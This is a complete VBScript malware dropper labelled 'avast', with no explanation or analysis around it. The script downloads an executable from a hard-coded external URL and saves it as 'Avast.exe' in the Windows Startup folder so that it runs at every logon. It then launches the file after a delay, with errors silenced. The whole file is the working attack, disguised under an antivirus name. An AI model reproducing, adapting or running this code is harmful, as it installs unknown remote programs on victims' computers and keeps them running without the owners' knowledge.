avast

on error resume next
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
set shellobj = wscript.createobject("wscript.shell")
startup = shellobj.specialfolders ("startup") & "\Avast.exe"
URL = "http://4.program-iq.com/uploads/sakr/file_2018-04-03_113723.exe"
objWinHttp.open "GET", URL, False
objWinHttp.send ""
SaveBinaryData objWinHttp.responseBody
Function SaveBinaryData( Data)
Const adTypeText = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeText
BinaryStream.Open
BinaryStream.Write Data
 If not(fso.FileExists(startup)) Then
BinaryStream.SaveToFile startup , adSaveCreateOverWrite
Wscript.sleep(20000)
shellobj.run  chr(34) & startup & chr(34)
end if
End Function